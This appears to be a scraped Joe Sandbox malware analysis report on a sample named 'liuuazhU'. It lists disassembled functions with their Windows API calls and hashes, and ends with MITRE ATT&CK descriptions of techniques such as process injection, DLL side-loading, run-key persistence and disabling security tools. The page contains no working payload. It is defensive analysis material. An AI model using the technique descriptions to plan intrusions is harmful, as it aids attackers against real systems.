CallWindowProcW.USER32(?,?,?,?,?), ref: 2E821E81

Memory Dump Source

Source File: 0000000B.00000002.3120296894.000000002E820000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e820000_liuuazhU.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: e01f55bd4073f38475a1dce30e8f99602b91d0b238930aa9f2186df5e77cf6f7
Instruction ID: a242aa82880e958824e5cef81f41d4144c4f2fb35b2cd7c6d3c129ffc35461f5
Opcode Fuzzy Hash: e01f55bd4073f38475a1dce30e8f99602b91d0b238930aa9f2186df5e77cf6f7
Instruction Fuzzy Hash: 61412CB8900745CFCB14CF99C888AAABBF5FF98314F24C459D558A7321D734A881CFA0

Function 2E7CD780 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(?), ref: 2E7CD812

Memory Dump Source

Source File: 0000000B.00000002.3120196643.000000002E7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e7c0000_liuuazhU.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1b3130cfa9a615febd40d09ed621f2ab111d39c23ce4c505279e349e0ac82208
Instruction ID: 44accd5a35a53e066d96d88e3a6f9ead9184c10f17d31212513a11fde0fc0388
Opcode Fuzzy Hash: 1b3130cfa9a615febd40d09ed621f2ab111d39c23ce4c505279e349e0ac82208
Instruction Fuzzy Hash: 5D3199B4D00259DFCB14CFAAD584ADEFBF5AB49310F14906AE918B7320D334A945CFA4

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1965196360.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1965196360.000000000043C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1965196360.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1965196360.000000000043C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 2E4C2D7F Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

4'^q, xrefs: 2E4C2E0B

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 91490576682c8cfad66ae34613d9d9b092c055896ddf89ad7af1839b29876c74
Instruction ID: 6e0aa51696075495fc7651b0052a35717e60087df72bfc8ed678d0697b3e7fa3
Opcode Fuzzy Hash: 91490576682c8cfad66ae34613d9d9b092c055896ddf89ad7af1839b29876c74
Instruction Fuzzy Hash: 4B417C386006059FCB05DF69C894AAA7BF5FF58B00F11406AE909DB3A2CBB4DD41CBA5

Function 2E4C30C8 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

4'^q, xrefs: 2E4C3142

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: bdc1de7a7c01d8d01e8362fc1da331a3b22e277500c7f76497327fdc940d6adc
Instruction ID: 48bb3fef3c5fb141a5823edaa6670b29adcb8bfc5efdd2642bea3557260ba8b6
Opcode Fuzzy Hash: bdc1de7a7c01d8d01e8362fc1da331a3b22e277500c7f76497327fdc940d6adc
Instruction Fuzzy Hash: 9821F739704196DFD704CF668C90AABBBE9ABA5218F0090ABE949C7341DF75E841CB74

Function 2A6BF248 Relevance: 1.3, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 2A6BF2C6

Memory Dump Source

Source File: 0000000B.00000002.3115757303.000000002A6B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A6B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a6b0000_liuuazhU.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7aec89355fa156de72087e847214d78a5577ca44bd1e903ac7aeae2caa8061f7
Instruction ID: df5931f9adf3764d649eeaf30200389638cb2c254ea3147579a58addbb2722af
Opcode Fuzzy Hash: 7aec89355fa156de72087e847214d78a5577ca44bd1e903ac7aeae2caa8061f7
Instruction Fuzzy Hash: 1631BBB4D012189FCB14DFAAE980ADEFBF4AF49310F10942AE814B7310C735A941CF98

Function 2E4C4120 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22133c8a15ab3806e25cd7ea78303e530d81c86e0b9d2e45bc214cfc4be49936
Instruction ID: b97cca5ee266dbaead60b98260b467d4960f07d80e654f38dec84cf3eae71445
Opcode Fuzzy Hash: 22133c8a15ab3806e25cd7ea78303e530d81c86e0b9d2e45bc214cfc4be49936
Instruction Fuzzy Hash: 3AD1F879B002148FDB04CF99D69499DBBF6BF98710B66909AE509EB371CB34EC41CB60

Function 2E4C4001 Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8121afd523d565719fa3746f585eb146af74b2bd59f424e5a82d86b060f601c
Instruction ID: dcf3ad71f79c74304e254f89282b93b4d40ee7b42d4c8f3a04c92d6eae23f736
Opcode Fuzzy Hash: f8121afd523d565719fa3746f585eb146af74b2bd59f424e5a82d86b060f601c
Instruction Fuzzy Hash: 1BD11C79E002188FDB04CFA9CA8499DBBF6FF99310B559096E519AB371CB34ED41CB60

Function 2E4C0D30 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1791d437c4b82c96564a3325d731cd8c5a49a93951f36b031bcee5101c0e59bc
Instruction ID: d06e5042206cd530dbef38b2a3ec7282b7a256b0d672d77b100a918cadf854a7
Opcode Fuzzy Hash: 1791d437c4b82c96564a3325d731cd8c5a49a93951f36b031bcee5101c0e59bc
Instruction Fuzzy Hash: 6671D2383002118FC7059F39C4A4A6EBBA6AFD8314F14857AE946CB395DF78EC42CB91

Function 2E4C2F81 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89765f5e6df386a5775651caf633a7b7007a5546dbe976bc5abe6db64720f723
Instruction ID: 208b89a3d89e1939310ef1876cd650ed8bb66451c48dcb618e3ea5a510b75829
Opcode Fuzzy Hash: 89765f5e6df386a5775651caf633a7b7007a5546dbe976bc5abe6db64720f723
Instruction Fuzzy Hash: 6251BE3A3142158FC704DF3AC894D6A7BE9AF9964830594FBE909CB366DB21EC01CB64

Function 2E4CFD81 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4923e87325845cb5740a0f36de63ee0b2f322b8ce98a8a0a6c608e6bbc2e47ea
Instruction ID: af49fde906269b5968f10d6510ea28aca2e06fdda4eec356b078046e7fca418f
Opcode Fuzzy Hash: 4923e87325845cb5740a0f36de63ee0b2f322b8ce98a8a0a6c608e6bbc2e47ea
Instruction Fuzzy Hash: 14518535D0021A9FCB00DFE0D854ADDFBBAFF9A304F248216F515AB2A5DB74A945CB50

Function 2E4C5411 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc84d2dcd5c8a4d5d4f25060cfcf2e29d0eafe8de5bd6636daf4b47e2f1d7ab3
Instruction ID: 49f2fb36d6e6e3853eb1059af58a38a8ad763af45fdd7e8ea4534d81d99a3839
Opcode Fuzzy Hash: cc84d2dcd5c8a4d5d4f25060cfcf2e29d0eafe8de5bd6636daf4b47e2f1d7ab3
Instruction Fuzzy Hash: C341E274E042188BDB24CFBAC8507DEBBF2AF99304F10D0AAD508B7255DB345986CF55

Function 28C7D005 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3114604081.0000000028C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 28C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_28c7d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8dee547cb6bf8e03d2098fa5b5a8637671a5bf9ab44a97a231424e052a4b19c
Instruction ID: e11e9bfe040c5eb24decb47874ed4b19e1bb13828815ca321163941a27359ab8
Opcode Fuzzy Hash: b8dee547cb6bf8e03d2098fa5b5a8637671a5bf9ab44a97a231424e052a4b19c
Instruction Fuzzy Hash: 12214D7110E3C09FC7038B24D994701BF75EB46214F29C5DBD9888F2A7C33A984ACB62

Function 28C7D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3114604081.0000000028C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 28C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_28c7d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 379b830a4270612faaf0a20d99c15426c8f4c8e28f6c16741ae8b1a297c93bb2
Instruction ID: 98f7c6bb95e66e25ee2b24a9ad82ae42e477edfedd55bba9157398b5b6e8386c
Opcode Fuzzy Hash: 379b830a4270612faaf0a20d99c15426c8f4c8e28f6c16741ae8b1a297c93bb2
Instruction Fuzzy Hash: 5D21F271504204DFCB00DF14EAC0F16BBB9EB88314F24C569DA494B3DAC33AE847CA62

Function 2E4C3E49 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b92aa25b9918ced7fa90efa2f1161362b6335727ae33612e79fb8cf272db4bd9
Instruction ID: a73ca78318011375a87a4c86261ea45995c0adcd9c036c43994209710671bf5d
Opcode Fuzzy Hash: b92aa25b9918ced7fa90efa2f1161362b6335727ae33612e79fb8cf272db4bd9
Instruction Fuzzy Hash: 00115E39B002049FDB049F59D884A9ABBF9FB9C714F10916AE915E7350CB71AC11CB94

Function 2E4C1AC0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea5952a1aac14c85c389f9067ecdfa44abc9024ecc27bb20369267e60cbbe230
Instruction ID: e2d80314289e16a5032d6e5243f80a3795b310f59d93e42b6f49de039645d0e5
Opcode Fuzzy Hash: ea5952a1aac14c85c389f9067ecdfa44abc9024ecc27bb20369267e60cbbe230
Instruction Fuzzy Hash: C021AC34900308DFCB14CF58C848BAABBF5FB58314F00946AE58A8B312E374E905CFA0

Function 2E4C0738 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda88d5117323346fb1dd8a98427706234dac0292348f4fef30ea0ecae64f320
Instruction ID: 8f28dad2e5857a5c1fdbf0b737854f6f728c0f71d58ae3e4918e8cb8a7c000b9
Opcode Fuzzy Hash: cda88d5117323346fb1dd8a98427706234dac0292348f4fef30ea0ecae64f320
Instruction Fuzzy Hash: 3C018636B011146F8B059E999810AAF3BABDBDC690F24C02BF515D7340DE71EC119BA0

Function 28C6D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3114473377.0000000028C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 28C6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_28c6d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e09e81388cc996a5b24d4b283138c57bb8a8f4ed8f1c20831ab083fd86c8d3cb
Instruction ID: 2eb354fc6dd7ae51e6a0be118c9103013a4b13d8e87094440e45a7a65229634f
Opcode Fuzzy Hash: e09e81388cc996a5b24d4b283138c57bb8a8f4ed8f1c20831ab083fd86c8d3cb
Instruction Fuzzy Hash: C901526100E3C09ED7124B359894752BFB4EF43224F1DC1DBD9888F1A7C2699849C772

Function 28C6D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3114473377.0000000028C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 28C6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_28c6d000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a3f9aa7271f15cbe363b075642b4406d657ea35d9da71e492ab88e63a63abcd
Instruction ID: 3ed027c785d25844f26ce3f88ab9a369892e0a2f41037debb781de04cf9a020b
Opcode Fuzzy Hash: 2a3f9aa7271f15cbe363b075642b4406d657ea35d9da71e492ab88e63a63abcd
Instruction Fuzzy Hash: 8C01D47100A3509AE7104A27E9C0B57BF98EFC5334F18C53AEE480A286C77AA842C6B1

Function 2E4C2ED8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a81aa4abea7eb293cb69b5d1112584c5ec625f8d043218db46d42a48b90c0e12
Instruction ID: 37d5621a93aa41a08b5660347b6e94095f37e4753e3b66cde93930af8cd1f873
Opcode Fuzzy Hash: a81aa4abea7eb293cb69b5d1112584c5ec625f8d043218db46d42a48b90c0e12
Instruction Fuzzy Hash: 92F06239310A144B87155E2F9454A2B77DDBFDAE95351107BFE0DC7365DEA0CC028798

Function 2E4C1327 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bbbaeba9b98cd82211ce76fca6e60d3fd275e1452645cdb758dd309978af432
Instruction ID: 9febbb6c83105fb7baab290f7542b63ce7ae859e1556a2434e0c0a289cbf8aab
Opcode Fuzzy Hash: 2bbbaeba9b98cd82211ce76fca6e60d3fd275e1452645cdb758dd309978af432
Instruction Fuzzy Hash: DCE0C2B04097880ED702E370A985799BF65AB81209F088561A8894A2ABDFAC994E4390

Function 2E4C3F05 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 339f6825c33659486c707153a34f332baa2c8bc45f8029ac3b0b28105499131b
Instruction ID: 5068df02f18188ad23522b39686eaf6a16bda6ca806fe57be821c18a465119e6
Opcode Fuzzy Hash: 339f6825c33659486c707153a34f332baa2c8bc45f8029ac3b0b28105499131b
Instruction Fuzzy Hash: CAD0673AB40118EFCB049F99E8408DDFBB6FB98221B148156E915A3261CA319961DB64

Function 2E4C1338 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf396fd899176bddf135fc356123f9ea838ec3e34f34297c91a133c70611875
Instruction ID: fdfe9bf252db557716d9b735bba14f94716c12787889b570f6c16cb5264c349a
Opcode Fuzzy Hash: 9cf396fd899176bddf135fc356123f9ea838ec3e34f34297c91a133c70611875
Instruction Fuzzy Hash: 40C012300446084FC705E775D9C6A96B72AA7C02007548530900A0676ADFB8989E46E0

Non-executed Functions

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1965196360.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1965196360.000000000043C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1965196360.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1965196360.000000000043C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
